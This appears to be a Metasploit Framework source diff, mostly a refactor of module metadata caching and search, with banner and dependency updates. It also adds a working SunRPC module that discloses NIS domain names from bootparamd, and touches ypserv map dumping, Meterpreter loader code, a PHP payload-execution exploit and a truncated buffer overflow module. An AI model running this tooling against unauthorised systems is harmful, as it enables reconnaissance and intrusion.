refresh_cache_from_database(self.module_paths)
|
||||
end
|
||||
|
||||
# Refreshes the in-memory cache from the database cache.
|
||||
|
@ -126,25 +134,11 @@ module Msf::ModuleManager::Cache
|
|||
|
||||
protected
|
||||
|
||||
# Returns whether the framework migrations have been run already.
|
||||
#
|
||||
# @return [true] if migrations have been run
|
||||
# @return [false] otherwise
|
||||
def framework_migrated?
|
||||
if (framework.db)
|
||||
if (framework.db.is_local?)
|
||||
return framework.db.migrated
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
# @!attribute [rw] module_info_by_path
|
||||
# @return (see #module_info_by_path_from_database!)
|
||||
# @return (see #module_info_by_path_from_store!)
|
||||
attr_accessor :module_info_by_path
|
||||
|
||||
# Return a module info from Mdm::Module::Details in database.
|
||||
# Return a module info from Msf::Modules::Metadata::Obj.
|
||||
#
|
||||
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
|
||||
#
|
||||
|
@ -154,40 +148,36 @@ module Msf::ModuleManager::Cache
|
|||
def module_info_by_path_from_database!(allowed_paths=[""])
|
||||
self.module_info_by_path = {}
|
||||
|
||||
if framework_migrated?
|
||||
allowed_paths = allowed_paths.map{|x| x + "/"}
|
||||
allowed_paths = allowed_paths.map{|x| x + "/"}
|
||||
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
|
||||
# Use find_each so Mdm::Module::Details are returned in batches, which will
|
||||
# handle the growing number of modules better than all.each.
|
||||
Mdm::Module::Detail.find_each do |module_detail|
|
||||
path = module_detail.file
|
||||
type = module_detail.mtype
|
||||
reference_name = module_detail.refname
|
||||
metadata = Msf::Modules::Metadata::Cache.instance.get_metadata
|
||||
metadata.each do |module_metadata|
|
||||
path = module_metadata.path
|
||||
type = module_metadata.type
|
||||
reference_name = module_metadata.ref_name
|
||||
|
||||
# Skip cached modules that are not in our allowed load paths
|
||||
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||
# Skip cached modules that are not in our allowed load paths
|
||||
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||
|
||||
# The load path is assumed to be the next level above the type directory
|
||||
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
|
||||
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
|
||||
# The load path is assumed to be the next level above the type directory
|
||||
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
|
||||
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
|
||||
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
:parent_path => parent_path,
|
||||
:modification_time => module_detail.mtime
|
||||
}
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
:parent_path => parent_path,
|
||||
:modification_time => module_metadata.mod_time
|
||||
}
|
||||
|
||||
typed_module_set = module_set(type)
|
||||
typed_module_set = module_set(type)
|
||||
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
unless typed_module_set.has_key? reference_name
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
if typed_module_set
|
||||
unless typed_module_set.has_key?(reference_name)
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules'
|
||||
|
||||
# Namespace for module metadata related data and operations
|
||||
module Msf::Modules::Metadata
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
require 'singleton'
|
||||
require 'msf/events'
|
||||
require 'rex/ui/text/output/stdio'
|
||||
require 'msf/core/constants'
|
||||
require 'msf/core/modules/metadata'
|
||||
require 'msf/core/modules/metadata/obj'
|
||||
require 'msf/core/modules/metadata/search'
|
||||
require 'msf/core/modules/metadata/store'
|
||||
|
||||
#
|
||||
# Core service class that provides storage of module metadata as well as operations on the metadata.
|
||||
# Note that operations on this metadata are included as separate modules.
|
||||
#
|
||||
module Msf
|
||||
module Modules
|
||||
module Metadata
|
||||
|
||||
class Cache
|
||||
include Singleton
|
||||
include Msf::Modules::Metadata::Search
|
||||
include Msf::Modules::Metadata::Store
|
||||
|
||||
#
|
||||
# Refreshes cached module metadata as well as updating the store
|
||||
#
|
||||
def refresh_metadata_instance(module_instance)
|
||||
refresh_metadata_instance_internal(module_instance)
|
||||
update_store
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module data cache, but first ensures all the metadata is loaded
|
||||
#
|
||||
def get_metadata
|
||||
wait_for_load
|
||||
@module_metadata_cache.values
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for modules loaded that are not a part of the cache and updates the underlying store
|
||||
# if there are changes.
|
||||
#
|
||||
def refresh_metadata(module_sets)
|
||||
unchanged_module_references = get_unchanged_module_references
|
||||
has_changes = false
|
||||
module_sets.each do |mt|
|
||||
unchanged_reference_name_set = unchanged_module_references[mt[0]]
|
||||
|
||||
mt[1].keys.sort.each do |mn|
|
||||
next if unchanged_reference_name_set.include? mn
|
||||
module_instance = mt[1].create(mn)
|
||||
next if not module_instance
|
||||
begin
|
||||
refresh_metadata_instance_internal(module_instance)
|
||||
has_changes = true
|
||||
rescue Exception => e
|
||||
elog("Error updating module details for #{module_instance.fullname}: #{$!.class} #{$!} : #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
update_store if has_changes
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash(type->set) which references modules that have not changed.
|
||||
#
|
||||
def get_unchanged_module_references
|
||||
skip_reference_name_set_by_module_type = Hash.new { |hash, module_type|
|
||||
hash[module_type] = Set.new
|
||||
}
|
||||
|
||||
@module_metadata_cache.each_value do |module_metadata|
|
||||
|
||||
unless module_metadata.path and ::File.exist?(module_metadata.path)
|
||||
next
|
||||
end
|
||||
|
||||
if ::File.mtime(module_metadata.path).to_i != module_metadata.mod_time.to_i
|
||||
next
|
||||
end
|
||||
|
||||
skip_reference_name_set = skip_reference_name_set_by_module_type[module_metadata.type]
|
||||
skip_reference_name_set.add(module_metadata.ref_name)
|
||||
end
|
||||
|
||||
return skip_reference_name_set_by_module_type
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def wait_for_load
|
||||
@load_thread.join unless @store_loaded
|
||||
end
|
||||
|
||||
def refresh_metadata_instance_internal(module_instance)
|
||||
metadata_obj = Obj.new(module_instance)
|
||||
@module_metadata_cache[get_cache_key(module_instance)] = metadata_obj
|
||||
end
|
||||
|
||||
def get_cache_key(module_instance)
|
||||
key = ''
|
||||
key << (module_instance.type.nil? ? '' : module_instance.type)
|
||||
key << '_'
|
||||
key << module_instance.refname
|
||||
return key
|
||||
end
|
||||
|
||||
def initialize
|
||||
@module_metadata_cache = {}
|
||||
@store_loaded = false
|
||||
@console = Rex::Ui::Text::Output::Stdio.new
|
||||
@load_thread = Thread.new {
|
||||
init_store
|
||||
@store_loaded = true
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,71 @@
|
|||
require 'msf/core/modules/metadata'
|
||||
|
||||
#
|
||||
# Simple object for storing a modules metadata.
|
||||
#
|
||||
module Msf
|
||||
module Modules
|
||||
module Metadata
|
||||
|
||||
class Obj
|
||||
attr_reader :name
|
||||
attr_reader :full_name
|
||||
attr_reader :rank
|
||||
attr_reader :disclosure_date
|
||||
attr_reader :type
|
||||
attr_reader :author
|
||||
attr_reader :description
|
||||
attr_reader :references
|
||||
attr_reader :is_server
|
||||
attr_reader :is_client
|
||||
attr_reader :platform
|
||||
attr_reader :arch
|
||||
attr_reader :rport
|
||||
attr_reader :targets
|
||||
attr_reader :mod_time
|
||||
attr_reader :is_install_path
|
||||
attr_reader :ref_name
|
||||
|
||||
def initialize(module_instance)
|
||||
@name = module_instance.name
|
||||
@full_name = module_instance.fullname
|
||||
@disclosure_date = module_instance.disclosure_date
|
||||
@rank = module_instance.rank.to_i
|
||||
@type = module_instance.type
|
||||
@description = module_instance.description.to_s.strip
|
||||
@author = module_instance.author.map{|x| x.to_s}
|
||||
@references = module_instance.references.map{|x| [x.ctx_id, x.ctx_val].join("-") }
|
||||
@is_server = (module_instance.respond_to?(:stance) and module_instance.stance == "aggressive")
|
||||
@is_client = (module_instance.respond_to?(:stance) and module_instance.stance == "passive")
|
||||
@platform = module_instance.platform_to_s
|
||||
@arch = module_instance.arch_to_s
|
||||
@rport = module_instance.datastore['RPORT'].to_s
|
||||
@path = module_instance.file_path
|
||||
@mod_time = ::File.mtime(@path) rescue Time.now
|
||||
@ref_name = module_instance.refname
|
||||
install_path = Msf::Config.install_root.to_s
|
||||
if (@path.to_s.include? (install_path))
|
||||
@path = @path.sub(install_path, '')
|
||||
@is_install_path = true
|
||||
end
|
||||
|
||||
if module_instance.respond_to?(:targets) and module_instance.targets
|
||||
@targets = module_instance.targets.map{|x| x.name}
|
||||
end
|
||||
end
|
||||
|
||||
def update_mod_time(mod_time)
|
||||
@mod_time = mod_time
|
||||
end
|
||||
|
||||
def path
|
||||
if @is_install_path
|
||||
return ::File.join(Msf::Config.install_root, @path)
|
||||
end
|
||||
|
||||
@path
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,120 @@
|
|||
require 'msf/core/modules/metadata'
|
||||
|
||||
#
|
||||
# Provides search operations on the module metadata cache.
|
||||
#
|
||||
module Msf::Modules::Metadata::Search
|
||||
#
|
||||
# Searches the module metadata using the passed search string.
|
||||
#
|
||||
def find(search_string)
|
||||
search_results = []
|
||||
|
||||
get_metadata.each { |module_metadata|
|
||||
if is_match(search_string, module_metadata)
|
||||
search_results << module_metadata
|
||||
end
|
||||
}
|
||||
|
||||
return search_results
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def is_match(search_string, module_metadata)
|
||||
return false if not search_string
|
||||
|
||||
search_string += ' '
|
||||
|
||||
# Split search terms by space, but allow quoted strings
|
||||
terms = search_string.split(/\"/).collect{|t| t.strip==t ? t : t.split(' ')}.flatten
|
||||
terms.delete('')
|
||||
|
||||
# All terms are either included or excluded
|
||||
res = {}
|
||||
|
||||
terms.each do |t|
|
||||
f,v = t.split(":", 2)
|
||||
if not v
|
||||
v = f
|
||||
f = 'text'
|
||||
end
|
||||
next if v.length == 0
|
||||
f.downcase!
|
||||
v.downcase!
|
||||
res[f] ||=[ [], [] ]
|
||||
if v[0,1] == "-"
|
||||
next if v.length == 1
|
||||
res[f][1] << v[1,v.length-1]
|
||||
else
|
||||
res[f][0] << v
|
||||
end
|
||||
end
|
||||
|
||||
k = res
|
||||
|
||||
[0,1].each do |mode|
|
||||
match = false
|
||||
k.keys.each do |t|
|
||||
next if k[t][mode].length == 0
|
||||
|
||||
k[t][mode].each do |w|
|
||||
# Reset the match flag for each keyword for inclusive search
|
||||
match = false if mode == 0
|
||||
|
||||
# Convert into a case-insensitive regex
|
||||
r = Regexp.new(Regexp.escape(w), true)
|
||||
|
||||
case t
|
||||
when 'text'
|
||||
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author
|
||||
|
||||
if module_metadata.targets
|
||||
terms = terms + module_metadata.targets
|
||||
end
|
||||
match = [t,w] if terms.any? { |x| x =~ r }
|
||||
when 'name'
|
||||
match = [t,w] if module_metadata.name =~ r
|
||||
when 'path'
|
||||
match = [t,w] if module_metadata.full_name =~ r
|
||||
when 'author'
|
||||
match = [t,w] if module_metadata.author.any? { |a| a =~ r }
|
||||
when 'os', 'platform'
|
||||
match = [t,w] if module_metadata.platform =~ r or module_metadata.arch =~ r
|
||||
|
||||
if module_metadata.targets
|
||||
match = [t,w] if module_metadata.targets.any? { |t| t =~ r }
|
||||
end
|
||||
when 'port'
|
||||
match = [t,w] if module_metadata.rport =~ r
|
||||
when 'type'
|
||||
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and module_metadata.type == modt }
|
||||
when 'app'
|
||||
match = [t,w] if (w == "server" and module_metadata.is_server)
|
||||
match = [t,w] if (w == "client" and module_metadata.is_client)
|
||||
when 'cve'
|
||||
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^cve\-/i and ref =~ r }
|
||||
when 'bid'
|
||||
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^bid\-/i and ref =~ r }
|
||||
when 'edb'
|
||||
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^edb\-/i and ref =~ r }
|
||||
end
|
||||
break if match
|
||||
end
|
||||
# Filter this module if no matches for a given keyword type
|
||||
if mode == 0 and not match
|
||||
return false
|
||||
end
|
||||
end
|
||||
# Filter this module if we matched an exclusion keyword (-value)
|
||||
if mode == 1 and match
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,112 @@
|
|||
require 'pstore'
|
||||
require 'msf/core/modules/metadata'
|
||||
|
||||
#
|
||||
# Handles storage of module metadata on disk. A base metadata file is always included - this was added to ensure a much
|
||||
# better first time user experience as generating the user based metadata file requires 100+ mb at the time of creating
|
||||
# this module. Subsequent starts of metasploit will load from a user specific metadata file as users potentially load modules
|
||||
# from other places.
|
||||
#
|
||||
module Msf::Modules::Metadata::Store
|
||||
|
||||
BaseMetaDataFile = 'modules_metadata_base.pstore'
|
||||
UserMetaDataFile = 'modules_metadata.pstore'
|
||||
|
||||
#
|
||||
# Initializes from user store (under ~/store/.msf4) if it exists. else base file (under $INSTALL_ROOT/db) is copied and loaded.
|
||||
#
|
||||
def init_store
|
||||
load_metadata
|
||||
end
|
||||
|
||||
#
|
||||
# Update the module meta cache disk store
|
||||
#
|
||||
def update_store
|
||||
begin
|
||||
@store.transaction do
|
||||
@store[:module_metadata] = @module_metadata_cache
|
||||
end
|
||||
rescue Excepion => e
|
||||
elog("Unable to update metadata store: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def load_metadata
|
||||
begin
|
||||
retries ||= 0
|
||||
copied = configure_user_store
|
||||
@store = PStore.new(@path_to_user_metadata, true)
|
||||
@module_metadata_cache = @store.transaction(true) { @store[:module_metadata]}
|
||||
validate_data(copied) if (!@module_metadata_cache.nil? && @module_metadata_cache.size > 0)
|
||||
@module_metadata_cache = {} if @module_metadata_cache.nil?
|
||||
rescue Exception => e
|
||||
retries +=1
|
||||
|
||||
# Try to handle the scenario where the file is corrupted
|
||||
if (retries < 2 && ::File.exist?(@path_to_user_metadata))
|
||||
elog('Possible corrupt user metadata store, attempting restore')
|
||||
FileUtils.remove(@path_to_user_metadata)
|
||||
retry
|
||||
else
|
||||
@console.print_warning('Unable to load module metadata from disk see error log')
|
||||
elog("Unable to load module metadata: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def validate_data(copied)
|
||||
size_prior = @module_metadata_cache.size
|
||||
@module_metadata_cache.delete_if {|key, module_metadata| !::File.exist?(module_metadata.path)}
|
||||
|
||||
if (copied)
|
||||
@module_metadata_cache.each_value {|module_metadata|
|
||||
module_metadata.update_mod_time(::File.mtime(module_metadata.path))
|
||||
}
|
||||
end
|
||||
|
||||
update_store if (size_prior != @module_metadata_cache.size || copied)
|
||||
end
|
||||
|
||||
def configure_user_store
|
||||
copied = false
|
||||
@path_to_user_metadata = get_user_store
|
||||
path_to_base_metadata = ::File.join(Msf::Config.install_root, "db", BaseMetaDataFile)
|
||||
user_file_exists = ::File.exist?(@path_to_user_metadata)
|
||||
base_file_exists = ::File.exist?(path_to_base_metadata)
|
||||
|
||||
if (!base_file_exists)
|
||||
wlog("Missing base module metadata file: #{path_to_base_metadata}")
|
||||
return copied if !user_file_exists
|
||||
end
|
||||
|
||||
if (!user_file_exists)
|
||||
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
|
||||
copied = true
|
||||
|
||||
dlog('Created user based module store')
|
||||
|
||||
# Update the user based module store if an updated base file is created/pushed
|
||||
elsif (::File.mtime(path_to_base_metadata).to_i > ::File.mtime(@path_to_user_metadata).to_i)
|
||||
FileUtils.remove(@path_to_user_metadata)
|
||||
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
|
||||
copied = true
|
||||
dlog('Updated user based module store')
|
||||
end
|
||||
|
||||
return copied
|
||||
end
|
||||
|
||||
def get_user_store
|
||||
store_dir = ::File.join(Msf::Config.config_directory, "store")
|
||||
FileUtils.mkdir(store_dir) if !::File.exist?(store_dir)
|
||||
return ::File.join(store_dir, UserMetaDataFile)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -132,9 +132,9 @@ module Payload::Python::MeterpreterLoader
|
|||
unless opts[:stageless_tcp_socket_setup].nil?
|
||||
socket_setup = opts[:stageless_tcp_socket_setup]
|
||||
socket_setup = socket_setup.split("\n")
|
||||
socket_setup.map! {|line| "\t\t#{line}\n"}
|
||||
socket_setup.map! {|line| " #{line}\n"}
|
||||
socket_setup = socket_setup.join
|
||||
met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
|
||||
met.sub!(" # PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
|
||||
end
|
||||
|
||||
met
|
||||
|
|
|
@ -233,22 +233,17 @@ class Core
|
|||
|
||||
avdwarn = nil
|
||||
|
||||
banner_trailers = {
|
||||
:version => "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
|
||||
:exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post",
|
||||
:pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops",
|
||||
:free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp",
|
||||
:padding => 48
|
||||
}
|
||||
stats = framework.stats
|
||||
version = "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
|
||||
exp_aux_pos = "#{stats.num_exploits} exploits - #{stats.num_auxiliary} auxiliary - #{stats.num_post} post",
|
||||
pay_enc_nop = "#{stats.num_payloads} payloads - #{stats.num_encoders} encoders - #{stats.num_nops} nops",
|
||||
dev_note = "** This is Metasploit 5 development branch **"
|
||||
padding = 48
|
||||
|
||||
banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version])
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos])
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop])
|
||||
|
||||
# TODO: People who are already on a Pro install shouldn't see this.
|
||||
# It's hard for Framework to tell the difference though since
|
||||
# license details are only in Pro -- we can't see them from here.
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial])
|
||||
banner << (" =[ %-#{padding+8}s]\n" % version)
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % exp_aux_pos)
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % pay_enc_nop)
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % dev_note)
|
||||
|
||||
if ::Msf::Framework::EICARCorrupted
|
||||
avdwarn = []
|
||||
|
|
|
@ -418,12 +418,12 @@ module Msf
|
|||
|
||||
# Display the table of matches
|
||||
tbl = generate_module_table("Matching Modules", search_term)
|
||||
framework.search(match, logger: self).each do |m|
|
||||
Msf::Modules::Metadata::Cache.instance.find(match).each do |m|
|
||||
tbl << [
|
||||
m.fullname,
|
||||
m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d"),
|
||||
RankingName[m.rank].to_s,
|
||||
m.name
|
||||
m.full_name,
|
||||
m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"),
|
||||
RankingName[m.rank].to_s,
|
||||
m.name
|
||||
]
|
||||
end
|
||||
print_line(tbl.to_s)
|
||||
|
|
|
@ -23,7 +23,7 @@ class Driver < Msf::Ui::Driver
|
|||
ConfigCore = "framework/core"
|
||||
ConfigGroup = "framework/ui/console"
|
||||
|
||||
DefaultPrompt = "%undmsf%clr"
|
||||
DefaultPrompt = "%undmsf5%clr"
|
||||
DefaultPromptChar = "%clr>"
|
||||
|
||||
#
|
||||
|
|
|
@ -179,7 +179,8 @@ class Client
|
|||
buf = nil
|
||||
begin
|
||||
Timeout.timeout(maxwait) { buf = sock.get }
|
||||
rescue ::Timeout
|
||||
rescue Timeout::Error
|
||||
raise RPCTimeout
|
||||
end
|
||||
|
||||
return nil if not buf
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.23'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.25'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.3'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,148 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NIS bootparamd Domain Name Disclosure',
|
||||
'Description' => %q{
|
||||
This module discloses the NIS domain name from bootparamd.
|
||||
|
||||
You must know a client address from the target's bootparams file.
|
||||
|
||||
Hint: try hosts within the same network range as the target.
|
||||
},
|
||||
'Author' => [
|
||||
'SATAN', # boot.c
|
||||
'pentestmonkey', # Blog post
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
||||
['URL', 'https://tools.ietf.org/html/rfc4506'],
|
||||
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
|
||||
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
proto = datastore['PROTOCOL']
|
||||
client = datastore['CLIENT']
|
||||
|
||||
begin
|
||||
sunrpc_create(
|
||||
proto, # Protocol: UDP (17)
|
||||
100026, # Program: BOOTPARAMS (100026)
|
||||
1 # Program Version: 1
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
sunrpc_authnull
|
||||
|
||||
# Convert ASCII to network byte order to four unsigned chars :(
|
||||
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
|
||||
|
||||
bootparam_whoami = Rex::Encoder::XDR.encode(
|
||||
1, # Address Type: IPv4-ADDR (1)
|
||||
*client_addr # Client Address: [redacted]
|
||||
)
|
||||
|
||||
begin
|
||||
res = sunrpc_call(
|
||||
1, # Procedure: WHOAMI (1)
|
||||
bootparam_whoami # Boot Parameters
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
|
||||
rescue Rex::Proto::SunRPC::RPCTimeout
|
||||
fail_with(Failure::NotVulnerable,
|
||||
'Could not disclose NIS domain name (try another CLIENT?)')
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'No response from server')
|
||||
end
|
||||
|
||||
bootparams = begin
|
||||
Timeout.timeout(datastore['XDRTimeout']) do
|
||||
parse_bootparams(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired,
|
||||
'XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
end
|
||||
|
||||
if bootparams.blank?
|
||||
fail_with(Failure::Unknown, 'Could not parse bootparams')
|
||||
end
|
||||
|
||||
bootparams.each do |host, domain|
|
||||
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
|
||||
|
||||
print_good(msg)
|
||||
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: proto,
|
||||
type: 'nis.bootparamd.domain',
|
||||
data: msg
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def parse_bootparams(res)
|
||||
bootparams = {}
|
||||
|
||||
loop do
|
||||
begin
|
||||
# XXX: res is modified in place
|
||||
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
|
||||
res,
|
||||
String, # Client Host: [redacted]
|
||||
String, # Client Domain: [redacted]
|
||||
Integer, # Address Type: IPv4-ADDR (1)
|
||||
# One int per octet in an IPv4 address
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer # Router Address: [redacted]
|
||||
)
|
||||
|
||||
break unless host && domain
|
||||
|
||||
bootparams[host] = domain
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
bootparams
|
||||
end
|
||||
|
||||
end
|
|
@ -58,11 +58,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
2 # Program Version: 2
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
print_error('Could not connect to portmapper')
|
||||
return
|
||||
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not connect to ypserv')
|
||||
return
|
||||
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
|
@ -80,15 +78,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
ypserv_all_call # Yellow Pages Service ALL call
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not call ypserv procedure')
|
||||
return
|
||||
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
if res.nil? || res.length < 8
|
||||
print_error('Invalid response from server')
|
||||
unless res && res.length > 8
|
||||
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -96,12 +93,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
case res[4, 4].unpack('l>').first
|
||||
# Status: YP_NOMAP (-1)
|
||||
when -1
|
||||
print_error("Invalid map #{map_name} specified")
|
||||
return
|
||||
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
|
||||
# Status: YP_NODOM (-2)
|
||||
when -2
|
||||
print_error("Invalid domain #{domain} specified")
|
||||
return
|
||||
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
|
||||
end
|
||||
|
||||
map = begin
|
||||
|
@ -109,12 +104,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
parse_map(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
fail_with(Failure::TimeoutExpired,
|
||||
'XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
return
|
||||
end
|
||||
|
||||
if map.nil? || map.empty?
|
||||
print_error("Could not parse map #{map_name}")
|
||||
if map.blank?
|
||||
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -140,7 +136,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
String # Key: [redacted]
|
||||
)
|
||||
|
||||
status == 1 ? map[key] = value : break
|
||||
break unless status == 1 && key && value
|
||||
|
||||
map[key] = value
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
|
|
|
@ -96,6 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("Executing the payload at #{payload_uri}...")
|
||||
register_files_for_cleanup("#{payload_name}.php")
|
||||
register_files_for_cleanup("#{plugin_name}.php")
|
||||
register_dir_for_cleanup("../#{plugin_name}")
|
||||
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,17 +15,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability
|
||||
